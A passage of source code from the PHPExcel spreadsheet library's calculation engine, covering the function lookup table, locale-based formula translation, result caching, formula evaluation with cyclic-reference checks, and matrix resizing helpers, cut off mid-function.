'PHPExcel_Calculation_MathTrig::SUMX2PY2', 'argumentCount' => '2' ), 'SUMXMY2' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::SUMXMY2', 'argumentCount' => '2' ), 'SYD' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::SYD', 'argumentCount' => '4' ), 'T' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::RETURNSTRING', 'argumentCount' => '1' ), 'TAN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'tan', 'argumentCount' => '1' ), 'TANH' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'tanh', 'argumentCount' => '1' ), 'TBILLEQ' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::TBILLEQ', 'argumentCount' => '3' ), 'TBILLPRICE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::TBILLPRICE', 'argumentCount' => '3' ), 'TBILLYIELD' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::TBILLYIELD', 'argumentCount' => '3' ), 'TDIST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::TDIST', 'argumentCount' => '3' ), 'TEXT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::TEXTFORMAT', 'argumentCount' => '2' ), 'TIME' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::TIME', 'argumentCount' => '3' ), 'TIMEVALUE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::TIMEVALUE', 'argumentCount' => '1' ), 'TINV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::TINV', 'argumentCount' => '2' ), 'TODAY' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::DATENOW', 'argumentCount' => '0' ), 'TRANSPOSE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::TRANSPOSE', 'argumentCount' => '1' ), 'TREND' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::TREND', 'argumentCount' => '1-4' ), 'TRIM' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::TRIMSPACES', 'argumentCount' => '1' ), 'TRIMMEAN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::TRIMMEAN', 'argumentCount' => '2' ), 'TRUE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOGICAL, 'functionCall' => 'PHPExcel_Calculation_Logical::TRUE', 'argumentCount' => '0' ), 'TRUNC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::TRUNC', 'argumentCount' => '1,2' ), 'TTEST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '4' ), 'TYPE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::TYPE', 'argumentCount' => '1' ), 'UPPER' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::UPPERCASE', 'argumentCount' => '1' ), 'USDOLLAR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '2' ), 'VALUE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::VALUE', 'argumentCount' => '1' ), 'VAR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::VARFunc', 'argumentCount' => '1+' ), 'VARA' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::VARA', 'argumentCount' => '1+' ), 'VARP' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::VARP', 'argumentCount' => '1+' ), 'VARPA' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::VARPA', 'argumentCount' => '1+' ), 'VDB' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '5-7' ), 'VERSION' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::VERSION', 'argumentCount' => '0' ), 'VLOOKUP' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::VLOOKUP', 'argumentCount' => '3,4' ), 'WEEKDAY' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::DAYOFWEEK', 'argumentCount' => '1,2' ), 'WEEKNUM' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::WEEKOFYEAR', 'argumentCount' => '1,2' ), 'WEIBULL' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::WEIBULL', 'argumentCount' => '4' ), 'WORKDAY' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::WORKDAY', 'argumentCount' => '2+' ), 'XIRR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::XIRR', 'argumentCount' => '2,3' ), 'XNPV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::XNPV', 'argumentCount' => '3' ), 'YEAR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::YEAR', 'argumentCount' => '1' ), 'YEARFRAC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::YEARFRAC', 'argumentCount' => '2,3' ), 'YIELD' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '6,7' ), 'YIELDDISC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::YIELDDISC', 'argumentCount' => '4,5' ), 'YIELDMAT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::YIELDMAT', 'argumentCount' => '5,6' ), 'ZTEST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::ZTEST', 'argumentCount' => '2-3' ) ); // Internal functions used for special control purposes private static $controlFunctions = array( 'MKMATRIX' => array( 'argumentCount' => '*', 'functionCall' => 'self::mkMatrix' ) ); public function __construct(PHPExcel $workbook = null) { $this->delta = 1 * pow(10, 0 - ini_get('precision')); $this->workbook = $workbook; $this->cyclicReferenceStack = new PHPExcel_CalcEngine_CyclicReferenceStack(); $this->_debugLog = new PHPExcel_CalcEngine_Logger($this->cyclicReferenceStack); } private static function loadLocales() { $localeFileDirectory = PHPEXCEL_ROOT.'PHPExcel/locale/'; foreach (glob($localeFileDirectory.'/*', GLOB_ONLYDIR) as $filename) { $filename = substr($filename, strlen($localeFileDirectory)+1); if ($filename != 'en') { self::$validLocaleLanguages[] = $filename; } } } /** * Get an instance of this class * * @access public * @param PHPExcel $workbook Injected workbook for working with a PHPExcel object, * or NULL to create a standalone claculation engine * @return PHPExcel_Calculation */ public static function getInstance(PHPExcel $workbook = null) { if ($workbook !== null) { $instance = $workbook->getCalculationEngine(); if (isset($instance)) { return $instance; } } if (!isset(self::$instance) || (self::$instance === null)) { self::$instance = new PHPExcel_Calculation(); } return self::$instance; } /** * Unset an instance of this class * * @access public */ public function __destruct() { $this->workbook = null; } /** * Flush the calculation cache for any existing instance of this class * but only if a PHPExcel_Calculation instance exists * * @access public * @return null */ public function flushInstance() { $this->clearCalculationCache(); } /** * Get the debuglog for this claculation engine instance * * @access public * @return PHPExcel_CalcEngine_Logger */ public function getDebugLog() { return $this->_debugLog; } /** * __clone implementation. Cloning should not be allowed in a Singleton! * * @access public * @throws PHPExcel_Calculation_Exception */ final public function __clone() { throw new PHPExcel_Calculation_Exception('Cloning the calculation engine is not allowed!'); } /** * Return the locale-specific translation of TRUE * * @access public * @return string locale-specific translation of TRUE */ public static function getTRUE() { return self::$localeBoolean['TRUE']; } /** * Return the locale-specific translation of FALSE * * @access public * @return string locale-specific translation of FALSE */ public static function getFALSE() { return self::$localeBoolean['FALSE']; } /** * Set the Array Return Type (Array or Value of first element in the array) * * @access public * @param string $returnType Array return type * @return boolean Success or failure */ public static function setArrayReturnType($returnType) { if (($returnType == self::RETURN_ARRAY_AS_VALUE) || ($returnType == self::RETURN_ARRAY_AS_ERROR) || ($returnType == self::RETURN_ARRAY_AS_ARRAY)) { self::$returnArrayAsType = $returnType; return true; } return false; } /** * Return the Array Return Type (Array or Value of first element in the array) * * @access public * @return string $returnType Array return type */ public static function getArrayReturnType() { return self::$returnArrayAsType; } /** * Is calculation caching enabled? * * @access public * @return boolean */ public function getCalculationCacheEnabled() { return $this->calculationCacheEnabled; } /** * Enable/disable calculation cache * * @access public * @param boolean $pValue */ public function setCalculationCacheEnabled($pValue = true) { $this->calculationCacheEnabled = $pValue; $this->clearCalculationCache(); } /** * Enable calculation cache */ public function enableCalculationCache() { $this->setCalculationCacheEnabled(true); } /** * Disable calculation cache */ public function disableCalculationCache() { $this->setCalculationCacheEnabled(false); } /** * Clear calculation cache */ public function clearCalculationCache() { $this->calculationCache = array(); } /** * Clear calculation cache for a specified worksheet * * @param string $worksheetName */ public function clearCalculationCacheForWorksheet($worksheetName) { if (isset($this->calculationCache[$worksheetName])) { unset($this->calculationCache[$worksheetName]); } } /** * Rename calculation cache for a specified worksheet * * @param string $fromWorksheetName * @param string $toWorksheetName */ public function renameCalculationCacheForWorksheet($fromWorksheetName, $toWorksheetName) { if (isset($this->calculationCache[$fromWorksheetName])) { $this->calculationCache[$toWorksheetName] = &$this->calculationCache[$fromWorksheetName]; unset($this->calculationCache[$fromWorksheetName]); } } /** * Get the currently defined locale code * * @return string */ public function getLocale() { return self::$localeLanguage; } /** * Set the locale code * * @param string $locale The locale to use for formula translation * @return boolean */ public function setLocale($locale = 'en_us') { // Identify our locale and language $language = $locale = strtolower($locale); if (strpos($locale, '_') !== false) { list($language) = explode('_', $locale); } if (count(self::$validLocaleLanguages) == 1) { self::loadLocales(); } // Test whether we have any language data for this language (any locale) if (in_array($language, self::$validLocaleLanguages)) { // initialise language/locale settings self::$localeFunctions = array(); self::$localeArgumentSeparator = ','; self::$localeBoolean = array('TRUE' => 'TRUE', 'FALSE' => 'FALSE', 'NULL' => 'NULL'); // Default is English, if user isn't requesting english, then read the necessary data from the locale files if ($locale != 'en_us') { // Search for a file with a list of function names for locale $functionNamesFile = PHPEXCEL_ROOT . 'PHPExcel'.DIRECTORY_SEPARATOR.'locale'.DIRECTORY_SEPARATOR.str_replace('_', DIRECTORY_SEPARATOR, $locale).DIRECTORY_SEPARATOR.'functions'; if (!file_exists($functionNamesFile)) { // If there isn't a locale specific function file, look for a language specific function file $functionNamesFile = PHPEXCEL_ROOT . 'PHPExcel'.DIRECTORY_SEPARATOR.'locale'.DIRECTORY_SEPARATOR.$language.DIRECTORY_SEPARATOR.'functions'; if (!file_exists($functionNamesFile)) { return false; } } // Retrieve the list of locale or language specific function names $localeFunctions = file($functionNamesFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($localeFunctions as $localeFunction) { list($localeFunction) = explode('##', $localeFunction); // Strip out comments if (strpos($localeFunction, '=') !== false) { list($fName, $lfName) = explode('=', $localeFunction); $fName = trim($fName); $lfName = trim($lfName); if ((isset(self::$PHPExcelFunctions[$fName])) && ($lfName != '') && ($fName != $lfName)) { self::$localeFunctions[$fName] = $lfName; } } } // Default the TRUE and FALSE constants to the locale names of the TRUE() and FALSE() functions if (isset(self::$localeFunctions['TRUE'])) { self::$localeBoolean['TRUE'] = self::$localeFunctions['TRUE']; } if (isset(self::$localeFunctions['FALSE'])) { self::$localeBoolean['FALSE'] = self::$localeFunctions['FALSE']; } $configFile = PHPEXCEL_ROOT . 'PHPExcel'.DIRECTORY_SEPARATOR.'locale'.DIRECTORY_SEPARATOR.str_replace('_', DIRECTORY_SEPARATOR, $locale).DIRECTORY_SEPARATOR.'config'; if (!file_exists($configFile)) { $configFile = PHPEXCEL_ROOT . 'PHPExcel'.DIRECTORY_SEPARATOR.'locale'.DIRECTORY_SEPARATOR.$language.DIRECTORY_SEPARATOR.'config'; } if (file_exists($configFile)) { $localeSettings = file($configFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($localeSettings as $localeSetting) { list($localeSetting) = explode('##', $localeSetting); // Strip out comments if (strpos($localeSetting, '=') !== false) { list($settingName, $settingValue) = explode('=', $localeSetting); $settingName = strtoupper(trim($settingName)); switch ($settingName) { case 'ARGUMENTSEPARATOR': self::$localeArgumentSeparator = trim($settingValue); break; } } } } } self::$functionReplaceFromExcel = self::$functionReplaceToExcel = self::$functionReplaceFromLocale = self::$functionReplaceToLocale = null; self::$localeLanguage = $locale; return true; } return false; } public static function translateSeparator($fromSeparator, $toSeparator, $formula, &$inBraces) { $strlen = mb_strlen($formula); for ($i = 0; $i < $strlen; ++$i) { $chr = mb_substr($formula, $i, 1); switch ($chr) { case '{': $inBraces = true; break; case '}': $inBraces = false; break; case $fromSeparator: if (!$inBraces) { $formula = mb_substr($formula, 0, $i).$toSeparator.mb_substr($formula, $i+1); } } } return $formula; } private static function translateFormula($from, $to, $formula, $fromSeparator, $toSeparator) { // Convert any Excel function names to the required language if (self::$localeLanguage !== 'en_us') { $inBraces = false; // If there is the possibility of braces within a quoted string, then we don't treat those as matrix indicators if (strpos($formula, '"') !== false) { // So instead we skip replacing in any quoted strings by only replacing in every other array element after we've exploded // the formula $temp = explode('"', $formula); $i = false; foreach ($temp as &$value) { // Only count/replace in alternating array entries if ($i = !$i) { $value = preg_replace($from, $to, $value); $value = self::translateSeparator($fromSeparator, $toSeparator, $value, $inBraces); } } unset($value); // Then rebuild the formula string $formula = implode('"', $temp); } else { // If there's no quoted strings, then we do a simple count/replace $formula = preg_replace($from, $to, $formula); $formula = self::translateSeparator($fromSeparator, $toSeparator, $formula, $inBraces); } } return $formula; } private static $functionReplaceFromExcel = null; private static $functionReplaceToLocale = null; public function _translateFormulaToLocale($formula) { if (self::$functionReplaceFromExcel === null) { self::$functionReplaceFromExcel = array(); foreach (array_keys(self::$localeFunctions) as $excelFunctionName) { self::$functionReplaceFromExcel[] = '/(@?[^\w\.])'.preg_quote($excelFunctionName).'([\s]*\()/Ui'; } foreach (array_keys(self::$localeBoolean) as $excelBoolean) { self::$functionReplaceFromExcel[] = '/(@?[^\w\.])'.preg_quote($excelBoolean).'([^\w\.])/Ui'; } } if (self::$functionReplaceToLocale === null) { self::$functionReplaceToLocale = array(); foreach (array_values(self::$localeFunctions) as $localeFunctionName) { self::$functionReplaceToLocale[] = '$1'.trim($localeFunctionName).'$2'; } foreach (array_values(self::$localeBoolean) as $localeBoolean) { self::$functionReplaceToLocale[] = '$1'.trim($localeBoolean).'$2'; } } return self::translateFormula(self::$functionReplaceFromExcel, self::$functionReplaceToLocale, $formula, ',', self::$localeArgumentSeparator); } private static $functionReplaceFromLocale = null; private static $functionReplaceToExcel = null; public function _translateFormulaToEnglish($formula) { if (self::$functionReplaceFromLocale === null) { self::$functionReplaceFromLocale = array(); foreach (array_values(self::$localeFunctions) as $localeFunctionName) { self::$functionReplaceFromLocale[] = '/(@?[^\w\.])'.preg_quote($localeFunctionName).'([\s]*\()/Ui'; } foreach (array_values(self::$localeBoolean) as $excelBoolean) { self::$functionReplaceFromLocale[] = '/(@?[^\w\.])'.preg_quote($excelBoolean).'([^\w\.])/Ui'; } } if (self::$functionReplaceToExcel === null) { self::$functionReplaceToExcel = array(); foreach (array_keys(self::$localeFunctions) as $excelFunctionName) { self::$functionReplaceToExcel[] = '$1'.trim($excelFunctionName).'$2'; } foreach (array_keys(self::$localeBoolean) as $excelBoolean) { self::$functionReplaceToExcel[] = '$1'.trim($excelBoolean).'$2'; } } return self::translateFormula(self::$functionReplaceFromLocale, self::$functionReplaceToExcel, $formula, self::$localeArgumentSeparator, ','); } public static function localeFunc($function) { if (self::$localeLanguage !== 'en_us') { $functionName = trim($function, '('); if (isset(self::$localeFunctions[$functionName])) { $brace = ($functionName != $function); $function = self::$localeFunctions[$functionName]; if ($brace) { $function .= '('; } } } return $function; } /** * Wrap string values in quotes * * @param mixed $value * @return mixed */ public static function wrapResult($value) { if (is_string($value)) { // Error values cannot be "wrapped" if (preg_match('/^'.self::CALCULATION_REGEXP_ERROR.'$/i', $value, $match)) { // Return Excel errors "as is" return $value; } // Return strings wrapped in quotes return '"'.$value.'"'; // Convert numeric errors to NaN error } elseif ((is_float($value)) && ((is_nan($value)) || (is_infinite($value)))) { return PHPExcel_Calculation_Functions::NaN(); } return $value; } /** * Remove quotes used as a wrapper to identify string values * * @param mixed $value * @return mixed */ public static function unwrapResult($value) { if (is_string($value)) { if ((isset($value{0})) && ($value{0} == '"') && (substr($value, -1) == '"')) { return substr($value, 1, -1); } // Convert numeric errors to NaN error } elseif ((is_float($value)) && ((is_nan($value)) || (is_infinite($value)))) { return PHPExcel_Calculation_Functions::NaN(); } return $value; } /** * Calculate cell value (using formula from a cell ID) * Retained for backward compatibility * * @access public * @param PHPExcel_Cell $pCell Cell to calculate * @return mixed * @throws PHPExcel_Calculation_Exception */ public function calculate(PHPExcel_Cell $pCell = null) { try { return $this->calculateCellValue($pCell); } catch (PHPExcel_Exception $e) { throw new PHPExcel_Calculation_Exception($e->getMessage()); } } /** * Calculate the value of a cell formula * * @access public * @param PHPExcel_Cell $pCell Cell to calculate * @param Boolean $resetLog Flag indicating whether the debug log should be reset or not * @return mixed * @throws PHPExcel_Calculation_Exception */ public function calculateCellValue(PHPExcel_Cell $pCell = null, $resetLog = true) { if ($pCell === null) { return null; } $returnArrayAsType = self::$returnArrayAsType; if ($resetLog) { // Initialise the logging settings if requested $this->formulaError = null; $this->_debugLog->clearLog(); $this->cyclicReferenceStack->clear(); $this->cyclicFormulaCounter = 1; self::$returnArrayAsType = self::RETURN_ARRAY_AS_ARRAY; } // Execute the calculation for the cell formula $this->cellStack[] = array( 'sheet' => $pCell->getWorksheet()->getTitle(), 'cell' => $pCell->getCoordinate(), ); try { $result = self::unwrapResult($this->_calculateFormulaValue($pCell->getValue(), $pCell->getCoordinate(), $pCell)); $cellAddress = array_pop($this->cellStack); $this->workbook->getSheetByName($cellAddress['sheet'])->getCell($cellAddress['cell']); } catch (PHPExcel_Exception $e) { $cellAddress = array_pop($this->cellStack); $this->workbook->getSheetByName($cellAddress['sheet'])->getCell($cellAddress['cell']); throw new PHPExcel_Calculation_Exception($e->getMessage()); } if ((is_array($result)) && (self::$returnArrayAsType != self::RETURN_ARRAY_AS_ARRAY)) { self::$returnArrayAsType = $returnArrayAsType; $testResult = PHPExcel_Calculation_Functions::flattenArray($result); if (self::$returnArrayAsType == self::RETURN_ARRAY_AS_ERROR) { return PHPExcel_Calculation_Functions::VALUE(); } // If there's only a single cell in the array, then we allow it if (count($testResult) != 1) { // If keys are numeric, then it's a matrix result rather than a cell range result, so we permit it $r = array_keys($result); $r = array_shift($r); if (!is_numeric($r)) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_array($result[$r])) { $c = array_keys($result[$r]); $c = array_shift($c); if (!is_numeric($c)) { return PHPExcel_Calculation_Functions::VALUE(); } } } $result = array_shift($testResult); } self::$returnArrayAsType = $returnArrayAsType; if ($result === null) { return 0; } elseif ((is_float($result)) && ((is_nan($result)) || (is_infinite($result)))) { return PHPExcel_Calculation_Functions::NaN(); } return $result; } /** * Validate and parse a formula string * * @param string $formula Formula to parse * @return array * @throws PHPExcel_Calculation_Exception */ public function parseFormula($formula) { // Basic validation that this is indeed a formula // We return an empty array if not $formula = trim($formula); if ((!isset($formula{0})) || ($formula{0} != '=')) { return array(); } $formula = ltrim(substr($formula, 1)); if (!isset($formula{0})) { return array(); } // Parse the formula and return the token stack return $this->_parseFormula($formula); } /** * Calculate the value of a formula * * @param string $formula Formula to parse * @param string $cellID Address of the cell to calculate * @param PHPExcel_Cell $pCell Cell to calculate * @return mixed * @throws PHPExcel_Calculation_Exception */ public function calculateFormula($formula, $cellID = null, PHPExcel_Cell $pCell = null) { // Initialise the logging settings $this->formulaError = null; $this->_debugLog->clearLog(); $this->cyclicReferenceStack->clear(); if ($this->workbook !== null && $cellID === null && $pCell === null) { $cellID = 'A1'; $pCell = $this->workbook->getActiveSheet()->getCell($cellID); } else { // Disable calculation cacheing because it only applies to cell calculations, not straight formulae // But don't actually flush any cache $resetCache = $this->getCalculationCacheEnabled(); $this->calculationCacheEnabled = false; } // Execute the calculation try { $result = self::unwrapResult($this->_calculateFormulaValue($formula, $cellID, $pCell)); } catch (PHPExcel_Exception $e) { throw new PHPExcel_Calculation_Exception($e->getMessage()); } if ($this->workbook === null) { // Reset calculation cacheing to its previous state $this->calculationCacheEnabled = $resetCache; } return $result; } public function getValueFromCache($cellReference, &$cellValue) { // Is calculation cacheing enabled? // Is the value present in calculation cache? $this->_debugLog->writeDebugLog('Testing cache value for cell ', $cellReference); if (($this->calculationCacheEnabled) && (isset($this->calculationCache[$cellReference]))) { $this->_debugLog->writeDebugLog('Retrieving value for cell ', $cellReference, ' from cache'); // Return the cached result $cellValue = $this->calculationCache[$cellReference]; return true; } return false; } public function saveValueToCache($cellReference, $cellValue) { if ($this->calculationCacheEnabled) { $this->calculationCache[$cellReference] = $cellValue; } } /** * Parse a cell formula and calculate its value * * @param string $formula The formula to parse and calculate * @param string $cellID The ID (e.g. A3) of the cell that we are calculating * @param PHPExcel_Cell $pCell Cell to calculate * @return mixed * @throws PHPExcel_Calculation_Exception */ public function _calculateFormulaValue($formula, $cellID = null, PHPExcel_Cell $pCell = null) { $cellValue = null; // Basic validation that this is indeed a formula // We simply return the cell value if not $formula = trim($formula); if ($formula{0} != '=') { return self::wrapResult($formula); } $formula = ltrim(substr($formula, 1)); if (!isset($formula{0})) { return self::wrapResult($formula); } $pCellParent = ($pCell !== null) ? $pCell->getWorksheet() : null; $wsTitle = ($pCellParent !== null) ? $pCellParent->getTitle() : "\x00Wrk"; $wsCellReference = $wsTitle . '!' . $cellID; if (($cellID !== null) && ($this->getValueFromCache($wsCellReference, $cellValue))) { return $cellValue; } if (($wsTitle{0} !== "\x00") && ($this->cyclicReferenceStack->onStack($wsCellReference))) { if ($this->cyclicFormulaCount <= 0) { $this->cyclicFormulaCell = ''; return $this->raiseFormulaError('Cyclic Reference in Formula'); } elseif ($this->cyclicFormulaCell === $wsCellReference) { ++$this->cyclicFormulaCounter; if ($this->cyclicFormulaCounter >= $this->cyclicFormulaCount) { $this->cyclicFormulaCell = ''; return $cellValue; } } elseif ($this->cyclicFormulaCell == '') { if ($this->cyclicFormulaCounter >= $this->cyclicFormulaCount) { return $cellValue; } $this->cyclicFormulaCell = $wsCellReference; } } // Parse the formula onto the token stack and calculate the value $this->cyclicReferenceStack->push($wsCellReference); $cellValue = $this->processTokenStack($this->_parseFormula($formula, $pCell), $cellID, $pCell); $this->cyclicReferenceStack->pop(); // Save to calculation cache if ($cellID !== null) { $this->saveValueToCache($wsCellReference, $cellValue); } // Return the calculated value return $cellValue; } /** * Ensure that paired matrix operands are both matrices and of the same size * * @param mixed &$operand1 First matrix operand * @param mixed &$operand2 Second matrix operand * @param integer $resize Flag indicating whether the matrices should be resized to match * and (if so), whether the smaller dimension should grow or the * larger should shrink. * 0 = no resize * 1 = shrink to fit * 2 = extend to fit */ private static function checkMatrixOperands(&$operand1, &$operand2, $resize = 1) { // Examine each of the two operands, and turn them into an array if they aren't one already // Note that this function should only be called if one or both of the operand is already an array if (!is_array($operand1)) { list($matrixRows, $matrixColumns) = self::getMatrixDimensions($operand2); $operand1 = array_fill(0, $matrixRows, array_fill(0, $matrixColumns, $operand1)); $resize = 0; } elseif (!is_array($operand2)) { list($matrixRows, $matrixColumns) = self::getMatrixDimensions($operand1); $operand2 = array_fill(0, $matrixRows, array_fill(0, $matrixColumns, $operand2)); $resize = 0; } list($matrix1Rows, $matrix1Columns) = self::getMatrixDimensions($operand1); list($matrix2Rows, $matrix2Columns) = self::getMatrixDimensions($operand2); if (($matrix1Rows == $matrix2Columns) && ($matrix2Rows == $matrix1Columns)) { $resize = 1; } if ($resize == 2) { // Given two matrices of (potentially) unequal size, convert the smaller in each dimension to match the larger self::resizeMatricesExtend($operand1, $operand2, $matrix1Rows, $matrix1Columns, $matrix2Rows, $matrix2Columns); } elseif ($resize == 1) { // Given two matrices of (potentially) unequal size, convert the larger in each dimension to match the smaller self::resizeMatricesShrink($operand1, $operand2, $matrix1Rows, $matrix1Columns, $matrix2Rows, $matrix2Columns); } return array( $matrix1Rows, $matrix1Columns, $matrix2Rows, $matrix2Columns); } /** * Read the dimensions of a matrix, and re-index it with straight numeric keys starting from row 0, column 0 * * @param mixed &$matrix matrix operand * @return array An array comprising the number of rows, and number of columns */ private static function getMatrixDimensions(&$matrix) { $matrixRows = count($matrix); $matrixColumns = 0; foreach ($matrix as $rowKey => $rowValue) { $matrixColumns = max(count($rowValue), $matrixColumns); if (!is_array($rowValue)) { $matrix[$rowKey] = array($rowValue); } else { $matrix[$rowKey] = array_values($rowValue); } } $matrix = array_values($matrix); return array($matrixRows, $matrixColumns); } /** * Ensure that paired matrix operands are both matrices of the same size * * @param mixed &$matrix1 First matrix operand * @param mixed &$matrix2 Second matrix operand * @param integer $matrix1Rows Row size of first matrix operand * @param integer $matrix1Columns Column size of first matrix operand * @param integer $matrix2Rows Row size of second matrix operand * @param integer $matrix2Columns Column size of second matrix operand */ private static function resizeMatricesShrink(&$matrix1, &$matrix2, $matrix1Rows, $matrix1Columns, $matrix2Rows, $matrix2Columns) { if (($matrix2Columns < $matrix1Columns) || ($matrix2Rows < $matrix1Rows)) { if ($matrix2Rows < $matrix1Rows) { for ($i = $matrix2Rows; $i < $matrix1Rows; ++$i) { unset($matrix1[$i]); } } if ($matrix2Columns < $matrix1Columns) { for ($i = 0; $i < $matrix1Rows; ++$i) { for ($j = $matrix2Columns; $j < $matrix1Columns; ++$j) { unset($matrix1[$i][$j]); } } } } if (($matrix1Columns < $matrix2Columns) || ($matrix1Rows < $matrix2Rows)) { if ($matrix1Rows < $matrix2Rows) { for ($i = $matrix1Rows; $i < $matrix2Rows; ++$i) { unset($matrix2[$i]); } } if ($matrix1Columns < $matrix2Columns) { for ($i = 0; $i < $matrix2Rows; ++$i) { for ($j = $matrix1Columns; $j < $matrix2Columns; ++$j) { unset($matrix2[$i][$j]); } } } } } /** * Ensure that paired matrix operands are both matrices of the same size * * @param mixed &$matrix1 First matrix operand * @param mixed &$matrix2 Second matrix operand * @param integer $matrix1Rows Row size of first matrix operand * @param integer $matrix1Columns Column size of first matrix operand * @param integer $matrix2Rows Row size of second matrix operand * @param integer $matrix2Columns Column size of second matrix operand */ private static function resizeMatricesExtend(&$matrix1, &$matrix2, $matrix1Rows, $matrix1Columns, $matrix2Rows, $matrix2Columns) { if (($matrix2Columns < $matrix1Columns) || ($matrix2Rows < $matrix1Rows)) { if ($matrix2Columns < $matrix1Columns) { for ($i = 0; $i < $matrix2Rows; ++$i) { $x = $matrix2[$i][$matrix2Columns-1]; for ($j = $matrix2Columns; $j < $matrix1Columns; ++$j) { $matrix2[$i][$j] = $x; } } } if ($matrix2Rows < $matrix1Rows) { $x = $matrix2[$matrix2Rows-1]; for ($i = 0; $i < $matrix1Rows; ++$i) { $matrix2[$i] = $x; } } } if (($matrix1Columns < $matrix2Columns) || ($matrix1Rows < $matrix2Rows)) { if ($matrix1Columns < $matrix2Columns) { for ($i = 0; $i < $matrix1Rows; ++$i) { $x = 